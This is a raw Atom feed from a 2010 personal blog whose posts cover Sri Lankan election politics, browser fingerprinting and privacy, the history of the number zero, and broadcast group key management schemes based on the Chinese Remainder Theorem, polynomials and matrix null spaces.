href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2246143341646405771'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/02/funny.html' title='Funny..'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-7635267631161998443</id><published>2010-01-31T14:45:00.010-05:00</published><updated>2010-03-18T00:50:58.382-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='politics'/><title type='text'>Minority aspirations and the failed democracy..</title><content type='html'>I usually don't write about politics. But I couldn't help writing about this one.&lt;br /&gt;&lt;br /&gt;The following figure shows the vote distribution of the recently concluded presidential election.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tMhXppp4NpE/S2XeFf37rbI/AAAAAAAACTE/S7__AjRQ39w/s1600-h/Screenshot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 248px; height: 320px;" src="http://4.bp.blogspot.com/_tMhXppp4NpE/S2XeFf37rbI/AAAAAAAACTE/S7__AjRQ39w/s320/Screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5432992711529180594" border="0" /&gt;&lt;/a&gt;(Source: http://www.srilankanelections.com/)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;For me, the green districts (in north and east) do not mean that MR lost or SF won (barring some green spots in the hill country, Colombo and some more urban areas); but rather they mean that minority aspirations are not met by the government ruled by the majority. Look who are living in these areas; either minority Tamils or Tamil-speaking Muslims. If we look at the world history, it is a usual thing that the majority is not sensitive to minority issues. The real challenge is whether MR can reverse this and be sensitive to minority issues. I think it'll take lot more to heal the ethnic division than winning the war. That's when I will say Sri Lanka has real peace. I hope that day is not far away.&lt;br /&gt;&lt;br /&gt;Update [2/2/2010]: First of all, I am neither supporting nor in favor of any political party or any political leader in Sri Lanka. From the point of view of democracy, MR should not be allowed to extend his next term more than what is stipulated; it is he who called for an early election (which should not have been done in the first place; if he's truthful, not power hungry and had no hidden agenda, why an early election??) and there should be consequences for it. But to my disappointment, &lt;a href="http://www.dailynews.lk/2010/02/03/pol01.asp"&gt;he's allowed to&lt;/a&gt; &lt;a href="http://news.bbc.co.uk/2/hi/south_asia/8493712.stm"&gt;extend his tenure by almost one year&lt;/a&gt;. I don't know much about politics, but I know that when a country does not have a strong opposition (like the current situation), it is unfortunate that, at the end of the day, it's the civilians who have bear the consequences.&lt;br /&gt;&lt;br /&gt;Update [2/8/2010]: It is &lt;a href="http://www.time.com/time/world/article/0,8599,1962012,00.html"&gt;disturbing&lt;/a&gt; to &lt;a href="http://www.colombopage.com/archive_10/Feb1265626932CH.html"&gt;hear&lt;/a&gt; that SF has been arrested. As I mentioned before I am not a supporter of SF, but where is democracy?? Would he be arrested under war crimes, had he not stood against MR?? (A few days before, some army officials were also fired under the same ground.)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;First they came for the communists, and I did not speak out—because I was not a communist;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; Then they came for the trade unionists, and I did not speak out—because I was not a trade unionist;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; Then they came for the Jews, and I did not speak out—because I was not a Jew;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; Then they came for me—and there was no one left to speak out for me.&lt;/span&gt;&lt;br /&gt;~ Martin Niemoller&lt;br /&gt;&lt;br /&gt;Substitute the above with brave journalists, impartial news papers and other media, people who questions the current ruling party, etc... is the history repeating??&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-7635267631161998443?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/7635267631161998443/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=7635267631161998443' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7635267631161998443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7635267631161998443'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/01/minority-aspirations.html' title='Minority aspirations and the failed democracy..'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tMhXppp4NpE/S2XeFf37rbI/AAAAAAAACTE/S7__AjRQ39w/s72-c/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5884643347831671362</id><published>2010-01-30T22:51:00.004-05:00</published><updated>2010-03-18T00:51:17.451-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>How unique/trackable is your browser?</title><content type='html'>I've just got a "fingerprint" of my browser through &lt;a href="http://panopticlick.eff.org/"&gt;the Panopticlick tool&lt;/a&gt;. The result is as follows:&lt;br /&gt;&lt;br /&gt;&lt;p style="font-style: italic; color: rgb(255, 0, 0);"&gt;Your browser fingerprint &lt;strong&gt;appears to be unique&lt;/strong&gt; among the 389,007 tested so far.&lt;/p&gt;&lt;p style="font-style: italic; color: rgb(255, 0, 0);"&gt;Currently, we estimate that your browser has a fingerprint that conveys &lt;strong&gt;at least 18.57 bits of identifying information.&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;This is a worrying fact; browser fingerprint is a very effective way of tracking users in the Internet. Why should you take defensive measures against such tracing down? This clearly invades your privacy. You probably don't want someone to profile your online trace without your consent or knowledge. If your browser sends out too much unnecessary information (increasing the likelihood of uniqueness), multiple visits to not only the same site but also different sites&lt;a href="http://www.computerworld.com/s/article/9150002/Browsers_can_leave_a_unique_trail_on_the_Web_privacy_group_says_?source=CTWNLE_nlt_security_2010-01-29"&gt; can be linked&lt;/a&gt;. So, with these fingerprints, systems providing anonymous access to digital content, digital cash become ineffective since these methods make an implicit assumption that the attacker does not use the background information available through the communication channel itself.&lt;br /&gt;&lt;br /&gt;It should be noted the same browser fingerprinting technique is used to provide protective measures as well. For example, my bank won't ask for additional credentials when I log through the browser I use everyday, but when I log in from a new browser/new location/new computer, they will ask for additional credentials. The challenge is to protect user privacy without compromising security.&lt;br /&gt;&lt;br /&gt;Another challenge is to protect user privacy without limiting the usability. For example, one technique to minimize the risk of fingerprinting is to disable java scripts, but most sites require java scripts to work.&lt;br /&gt;&lt;br /&gt;Update [2/2/2010]: The above work allows to identify browsers, but not exact users. Researchers from the &lt;a href="http://www.blogger.com/www.iseclab.org"&gt;Isec lab&lt;/a&gt; have devised a method to identify users using &lt;a href="http://www.xing.com/"&gt;social network&lt;/a&gt; group membership as background knowledge. It's a two step process:&lt;br /&gt;1. Generate a group membership fingerprint for each users (their thesis is that the collection of groups a user is member of is more or less unique).&lt;br /&gt;2. User history stealing technique to identify the links the user previously visited. Their TR is available &lt;a href="http://www.iseclab.org/papers/sonda-TR.pdf"&gt;here&lt;/a&gt; (A practical attack to de-anonymize social network users).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5884643347831671362?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5884643347831671362/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5884643347831671362' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5884643347831671362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5884643347831671362'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/01/how-uniquetrackable-is-your-browser.html' title='How unique/trackable is your browser?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-2095786473782282004</id><published>2010-01-29T11:10:00.014-05:00</published><updated>2010-03-18T00:51:41.316-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='history'/><category scheme='http://www.blogger.com/atom/ns#' term='math'/><title type='text'>ZERO: How was it discovered?</title><content type='html'>The history behind the concept of zero is an interesting one.  We are so used to the number zero that we cannot live without it (what if a zero is dropped from your salary and appended to your electricity bill ;).&lt;br /&gt;&lt;br /&gt;On a serious note, in the early history of counting, the number zero neither required  nor well understood; and the same with the negative numbers. why? early mathematics was based on counting real things as opposed to abstract ideas. It is fascinating to see that things, like the concept of zero, we take for granted took centuries and many great minds to discover. The following time line of historical events is an indication of this fact. I hope this will be a good reminder to all of us that we will never achieve perfection and we progress through our mistakes/needs. No mistakes/needs, no progress!&lt;br /&gt;&lt;br /&gt;3000 BC [3] : &lt;span style="font-weight: bold; font-style: italic;"&gt;Sumerian numerical system&lt;/span&gt; - &lt;span style="font-weight: bold;"&gt;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;Separated numbers from goods&lt;/span&gt;, but no concept zero (zero loaves of breads, zero cows, etc. did not make much sense at that time :D). Some details of their progress:&lt;br /&gt;Version 1: Different types of goods were represented by different symbols, and multiple quantities represented by repetition.&lt;br /&gt;Examples: two units of grains was represented by two grain-marks. Four oil cans was as four oil-can-marks.&lt;br /&gt;Version 2: Separated the quantity of the good from the symbol for the good. That way a great amount of redundancy was prevented. They introduced a sexagesimal system (that is, base 60). Not sure why it's base 60 instead of any other base.&lt;br /&gt;Example: two units of grains as the symbol followed by the symbol of grain.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tMhXppp4NpE/S2No4q3lcOI/AAAAAAAACR0/ZKZGF3EvPqg/s1600-h/Archaic_Sexagesimal.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 34px;" src="http://1.bp.blogspot.com/_tMhXppp4NpE/S2No4q3lcOI/AAAAAAAACR0/ZKZGF3EvPqg/s320/Archaic_Sexagesimal.gif" alt="" id="BLOGGER_PHOTO_ID_5432300898328342754" border="0" /&gt;&lt;/a&gt;(Sumerian system)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Around 3000 BC - Egyptians introduced the earliest fully developed base 10 numeration system. It's not a positional number system as the decimal number system we have, but it can represent large numbers. (For example, to represent 45, they used 4 number 10 symbols and 5 number 1 symbols) Similar to Roman numerals.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tMhXppp4NpE/S2N4j4Q_AuI/AAAAAAAACR8/q7slK8qUQCQ/s1600-h/Hieroglyph.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 312px; height: 119px;" src="http://4.bp.blogspot.com/_tMhXppp4NpE/S2N4j4Q_AuI/AAAAAAAACR8/q7slK8qUQCQ/s320/Hieroglyph.gif" alt="" id="BLOGGER_PHOTO_ID_5432318133333328610" border="0" /&gt;&lt;/a&gt;(Egyptian hieroglyphics)&lt;br /&gt;&lt;/div&gt;Egyptians also did not have the concept of zero since they also mainly thought numbers as concrete concepts for measurement of length, trading, etc. Still, I am amazed about Egyptian math; even without the concept of zero, they were able to build precisely calculated colossal pyramids and other structures. Also, through their math skill, they were one of the ancient nations who got close to calculating the correct number of days per year.&lt;br /&gt;&lt;br /&gt;2700-2300 BC &lt;span style="font-weight: bold;"&gt;Sumerian/Akkadians&lt;/span&gt; invented the &lt;span style="font-weight: bold;"&gt;Abacus&lt;/span&gt;. They use it with their sexagesimal number system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Babylonian number system [2]: &lt;span style="font-weight: bold;"&gt;First to introduce the place value system&lt;/span&gt; (just like the decimal number system we have) but still no concept of zero.&lt;br /&gt;Sumerian number system still needed many symbols to represent numbers. Influenced by this number system, Babylonians, towards the end of the 3rd millennium, introduced the place value system. They just needed two symbols to count.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tMhXppp4NpE/S2NoPefKboI/AAAAAAAACRs/GkjHyt-EZnI/s1600-h/Babylonian_symbols.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_tMhXppp4NpE/S2NoPefKboI/AAAAAAAACRs/GkjHyt-EZnI/s320/Babylonian_symbols.gif" alt="" id="BLOGGER_PHOTO_ID_5432300190630047362" border="0" /&gt;&lt;/a&gt;(Babylonian system)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;700 - 400 BC - &lt;span style="font-weight: bold;"&gt;Use of zero to denote an empty position&lt;/span&gt; in the notational system.&lt;br /&gt;Babylonians put two wedge symbols to where we would put zero in the decimal notation. These empty wedge symbols only occurred within a number (as in 5403 in decimal); never place at the ends (as in 5430 in decimal); zero was never used as a number, but rather as a punctuation sign.&lt;br /&gt;&lt;br /&gt;During this time Greek mathematicians did not use a positional number system. They developed their theories/abstract concepts through shapes/geometry. It was during this period great mathematicians like &lt;a href="http://en.wikipedia.org/wiki/Euclid"&gt;Euclid&lt;/a&gt; lived. Even without the concept of zero, people like Euclid worked on number theory (which lead to &lt;a href="http://en.wikipedia.org/wiki/Fundamental_theorem_of_arithmetic"&gt;the fundamental theorem of arithmetic&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Euclidean_algorithm"&gt;Euclidean algorithm&lt;/a&gt;, etc), but it was based on geometry. However, Greek astronomers used the notation of zero and it is believed to be similar to how we currently use zero. But they did not appear to have devised a number system based on zero.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tMhXppp4NpE/S2RmYO-O9JI/AAAAAAAACSE/73uViOZyHcQ/s1600-h/Euklid-von-Alexandria_1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 262px; height: 311px;" src="http://1.bp.blogspot.com/_tMhXppp4NpE/S2RmYO-O9JI/AAAAAAAACSE/73uViOZyHcQ/s320/Euklid-von-Alexandria_1.jpg" alt="" id="BLOGGER_PHOTO_ID_5432579617037677714" border="0" /&gt;&lt;/a&gt;(Euclid)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;5th century - Indians (mainly &lt;a href="http://en.wikipedia.org/wiki/Aryabhata"&gt;Aryabhata&lt;/a&gt;) were the first develop a base 10 positional numeral system (remember Babylonians invented base 60 positional numeral system a long time before that) which resembles closely to our current decimal system. These dates are still disputed, but I think it's fair to credit Indians for the number system we currently have.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tMhXppp4NpE/S2RmvzjKtEI/AAAAAAAACSM/Ku67uoGuVC4/s1600-h/2064_aryabhata-crp.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 224px; height: 320px;" src="http://4.bp.blogspot.com/_tMhXppp4NpE/S2RmvzjKtEI/AAAAAAAACSM/Ku67uoGuVC4/s320/2064_aryabhata-crp.jpg" alt="" id="BLOGGER_PHOTO_ID_5432580021993256002" border="0" /&gt;&lt;/a&gt;(Aryabhata)&lt;br /&gt;&lt;/div&gt;People started to think about numbers as an abstract concept. As a result, the number zero as we use today was born.&lt;br /&gt;&lt;br /&gt;7th century (dates are disputed) - The first appearance of zero as number by Indians. (There is some dispute about the origin as well - there appear to have some Chinese connection as well, but not sure about it)&lt;br /&gt;&lt;br /&gt;876 AD - The first record of the Indian use of zero which is dated and agreed by all to be genuine.&lt;br /&gt;&lt;br /&gt;Indians formulated arithmetic rules involving zero and negative numbers although they did not get it right in the first few attempts. &lt;a href="http://en.wikipedia.org/wiki/Brahmagupta"&gt;Brahmagupta&lt;/a&gt;, in his book "&lt;i&gt;Brahmasphutasiddhanta", &lt;/i&gt;got most of the arithmetic operations right except the division by zero: "&lt;span style="font-style: italic;"&gt;0/0 is 0 and a number divided by zero is that number&lt;/span&gt;". For many centuries after this, division by zero remained  a mistry to peope; they simply did not know how to explain it. During the same time, Islamic/Arabic mathematicians, especially, &lt;a href="http://en.wikipedia.org/wiki/Al-Khwarizmi"&gt;Al-Khawarizmi&lt;/a&gt;, studied Indian number system and contributed to the arithmetics with numbers. The combined work led to the &lt;a href="http://en.wikipedia.org/wiki/History_of_the_Hindu-Arabic_numeral_system"&gt;Hindu-Arabic numberal system&lt;/a&gt; we are using today. In 12th centure, this system was spreaded to Europe mainly through &lt;span style=";font-family:arial;font-size:100%;"  &gt;&lt;span style="font-size:13;"&gt;the Italian mathematician, &lt;a href="http://en.wikipedia.org/wiki/Fibonacci"&gt;Fibonacci&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;. There is no doubt that the development of zero is a very important milestone in human civilization and it paved way to many new concepts.&lt;br /&gt;&lt;br /&gt;(There is evidence that in the 6th century, Mayans used a base 20 number system with a number zero. Also, they appear to have used the number zero a long before that. However, their knowledge has not influenced others.)&lt;br /&gt;&lt;br /&gt;There have been many developments and rules about &lt;a href="http://www.math.ucdavis.edu/%7Emduchin/111/readings/romig.pdf"&gt;division by zero in the history&lt;/a&gt;, but let's not go into that. Currently we consider division by zero is undefined in any system that obeys the axioms of a field (e.g. real numbers, complex numbers, etc.).&lt;br /&gt;&lt;br /&gt;In the 16th century, Newton and Leibniz,&lt;a href="http://en.wikipedia.org/wiki/Leibniz_and_Newton_calculus_controversy"&gt; fathers of calculus&lt;/a&gt;, played a key role in understanding "division by zero" and its applicability to real life. Instead of considering absolute values, working with numbers approaching zero, they were able to develop a new branch of Mathematics, calculus. I think this is another very important milestone on the number zero.&lt;br /&gt;&lt;br /&gt;At present, we cannot imagine Math, Physics, Chemistry or any other branch of scinece without having the value zero, yet it took many centuries to develop the idea of having a zero in the number system and people had been working with numbers well before zero came into picture. Empty sets (cardinality zero sets), zero gravity, freezing point, zero probability, accounting, modular arithmetics,&lt;span style="font-family:arial;"&gt; &lt;/span&gt;&lt;span style="font-size:13;"&gt;&lt;span style="font-family:Georgia;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:arial;"&gt;calculus, Cartesian coordinate system&lt;/span&gt;&lt;/span&gt;, &lt;/span&gt;&lt;/span&gt;indexing are just name a few references.&lt;br /&gt;&lt;br /&gt;We would not have progressed this far, had the concept of zero not understood.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;[1] &lt;a href="http://yaleglobal.yale.edu/about/zero.jsp"&gt;http://yaleglobal.yale.edu/about/zero.jsp&lt;/a&gt;&lt;br /&gt;[2] &lt;a href="http://www-groups.dcs.st-and.ac.uk/%7Ehistory/HistTopics/Zero.html"&gt;http://www-groups.dcs.st-and.ac.uk/~history/HistTopics/Zero.html&lt;/a&gt;&lt;br /&gt;[3] &lt;a href="http://www-groups.dcs.st-and.ac.uk/%7Ehistory/HistTopics/Zero.html"&gt;http://it.stlawu.edu/~dmelvill/mesomath/sumerian.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-2095786473782282004?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/2095786473782282004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=2095786473782282004' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2095786473782282004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2095786473782282004'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/01/zero-how-was-it-discovered.html' title='ZERO: How was it discovered?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tMhXppp4NpE/S2No4q3lcOI/AAAAAAAACR0/ZKZGF3EvPqg/s72-c/Archaic_Sexagesimal.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8044250881091550634</id><published>2010-01-28T23:12:00.002-05:00</published><updated>2010-03-18T00:52:01.162-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>The 3rd data privacy day (Jan 28th)</title><content type='html'>Today is the &lt;a href="http://dataprivacyday2010.org/"&gt;data privacy day&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8044250881091550634?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8044250881091550634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8044250881091550634' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8044250881091550634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8044250881091550634'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/01/3rd-data-privacy-day-jan-28th.html' title='The 3rd data privacy day (Jan 28th)'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8217657016095151920</id><published>2010-01-21T15:58:00.012-05:00</published><updated>2010-01-21T21:07:35.971-05:00</updated><title type='text'>Interesting broadcast group key management schemes</title><content type='html'>In this post, I focus on some really neat broadcast group key management schemes/protocols (BGKM). The idea behind the schemes are based on quite simple algebraic constructs, but they are very elegant.&lt;br /&gt;&lt;br /&gt;In addition to other properties, a good GKM scheme should provide the following two properties.&lt;br /&gt;1. Forward secrecy - a user who left the group should not be able to access new keys&lt;br /&gt;2. Backward secrecy - a user who joined the group should not able to access old keys&lt;br /&gt;&lt;br /&gt;In my opinion, these are two most difficult properties to satisfy in a group communication setting. In order to satisfy these two properties, it is required to initiate a rekeying operation (i.e. change the existing keys). There have been many GKM schemes proposing various way of doing rekey operation. What set them apart is the communication cost of the rekeying operation. Earlier GKM schemes had O(n) communication overhead, where n is the number of users in the group. Later, it was improved to incorporate a hierarchy and the communication overhead was reduced to O(log n). Further, these rekeying operations are not transparent to users; every time a user joins/leaves, other users need to update their keys. Can we make the communication overhead to be O(1) (i.e. independent of the number of users in the group? This is where the BGKM schemes fit.&lt;br /&gt;&lt;br /&gt;BGKM schemes make the rekeying operation transparent to existing users at the expense of additional computational cost at the server which manages the BGKM scheme. There are three noteworthy BGKM schemes which I will go over in some details giving the key ideas in the rest of this post.&lt;br /&gt;&lt;br /&gt;1. The secure lock (SL) approach based on the Chinese Remainder Theorem (CRT) [&lt;a href="http://www.computer.org/portal/web/csdl/doi/10.1109/32.31350"&gt;SE 1989&lt;/a&gt;]&lt;br /&gt;2. The access control polynomial (ACP) approach based on special polynomials [&lt;a href="http://www.cs.iupui.edu/%7Exkzou/Papers/INFOCOM08.pdf"&gt;INFOCOM 2008&lt;/a&gt;]&lt;br /&gt;3. The access control vector (ACV) approach based on matrix null spaces [&lt;a href="https://www.cerias.purdue.edu/assets/pdf/bibtex_archive/2009-27.pdf"&gt;ICDE 2010&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. The Secure Lock (SL) approach&lt;/span&gt;&lt;br /&gt;(Slightly modified the original version)&lt;br /&gt;Each user u_i is given a random secret value s_i and a unique secret number n_i at the time of joining. These n_i's are relatively prime in pairs. The server construct the following congruences and compute the common solution using the CRT and broadcast to the group whenever there is a leave or join.&lt;br /&gt;&lt;br /&gt;x ~ r_1 (mod n_1)&lt;br /&gt;x ~ r_2 (mod n_2)&lt;br /&gt;...&lt;br /&gt;x ~ r_n (mod n_n)&lt;br /&gt;&lt;br /&gt;where ~ is the congruence symbol, r_i = K XOR s_i, K is the actual key. (r_i &lt; n_i)&lt;br /&gt;&lt;br /&gt;Then construct the common solution, using the CRT:&lt;br /&gt;x ~ \sigma{i=1}{n} N/n_i * r_i * f_i (mod N)&lt;br /&gt;&lt;br /&gt;where N = n_1 * n_2 * ... * n_n,&lt;br /&gt;f_i ~ N/n_i (mod n_i).&lt;br /&gt;&lt;br /&gt;Let the standard representative of the common solution is C.&lt;br /&gt;&lt;br /&gt;A user u_r with the secret s_r and the public value n_r derives the key by (C mod n_r) XOR s_r. (Note that C mod n_r gives the value r_r)&lt;br /&gt;&lt;br /&gt;Can a newly joined user u_r get its hand on old keys? No, because the old common solution did not consider the congruence x ~ r_r (mod n_r).&lt;br /&gt;&lt;br /&gt;Can a user u_r who left the group access new keys? No, because the server removes the congruence x ~ r_r (mod n_r) from the CRT calculation.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. The Access Control Polynomial (ACP) approach&lt;/span&gt;&lt;br /&gt;Each user u_i is given a random secret value s_i at the time of joining. The server construct the following polynomial of order m+n and broadcast to the group whenever there is a leave or join.&lt;br /&gt;&lt;br /&gt;f(x) = K + (x - H(s_1 || z))(x - H(s_2 || z))..(x - H(s_n || z))(x - H(a_1 || z))...(x - H(a_m || z))&lt;br /&gt;where K - is the actual key, s_1,.., s_n are the random secret values given to n users, a_1,.., a_m are random fake values used to increase the entropy of f(x), z is a public random value, H is a hash function.&lt;br /&gt;&lt;br /&gt;A user u_r with the secret s_r derives the key as f(H(s_r || z)).&lt;br /&gt;&lt;br /&gt;Can a newly joined user u_r get its hand on old keys? No, because the old polynomials f`(x)'s do not have (x - H(s_r || z)).&lt;br /&gt;&lt;br /&gt;Can a user u_r who left the group access new keys? No, because the server removes (x - H(s_r || z)) from the new polynomials f`(x)'s.&lt;br /&gt;&lt;br /&gt;The scheme is quite simple. However the security of this scheme is neither formally analyzed nor proved.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. The Access Control Vector (ACV) approach&lt;/span&gt;&lt;br /&gt;Each user u_i is given a random secret value s_i at the time of joining. The server construct the following the matrix X of n by n + 1 and broadcast a vector created based on a random vector from the null space of X to the group whenever there is a leave or join.&lt;br /&gt;&lt;br /&gt;X =&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;| 1 a_{1,1} .... a_{1,n}|&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;| 1 a_{2,1} .... a_{2,n}|&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;| ..................................|&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;| 1 a_{n,1} .... a_{n,n}|&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;where a{i,j} = H(s_i || z_i), H is a hash function, z_i's public random random values, s_i is the random secret value given to the user u_i.&lt;br /&gt;&lt;br /&gt;The null space of such a matrix is always guranteed to be nontrivial (each row is linearly independent). Hence, there exists a  non-trivial colomn vector Y such that XY = 0. The server picks a random vector Y from the null space and compute the ACV (Access Control Vector) and broadcasts.&lt;br /&gt;&lt;br /&gt;ACV = (K, 0, ..., 0)^T + Y&lt;br /&gt;&lt;br /&gt;A user u_r with the secret s_r derives the K by performing a dot product of ACV and KEV_r (Key Extraction Vector). A user can construct her KEV using her secret and public random z_i's as follows.&lt;br /&gt;&lt;br /&gt;KEV_r = (1, H(s_r || z_1, ...., H(s_r || z_n))^T&lt;br /&gt;&lt;br /&gt;Can a newly joined user u_r get its hand on old keys? No, because the vector Y in the old ACV's are not orthogonal to her KEV, dot product does not yield the key K.&lt;br /&gt;&lt;br /&gt;Can a user u_r who left the group access new keys? No, because the server removes the corresponding row from X, now the vector Y in the new ACV's are not orthogoal to her old KEV.&lt;br /&gt;&lt;br /&gt;The scheme is quite elegant. The security of this scheme is analyzed and proved. A downside of this approach is the computational cost at the server when the group size is large.&lt;div 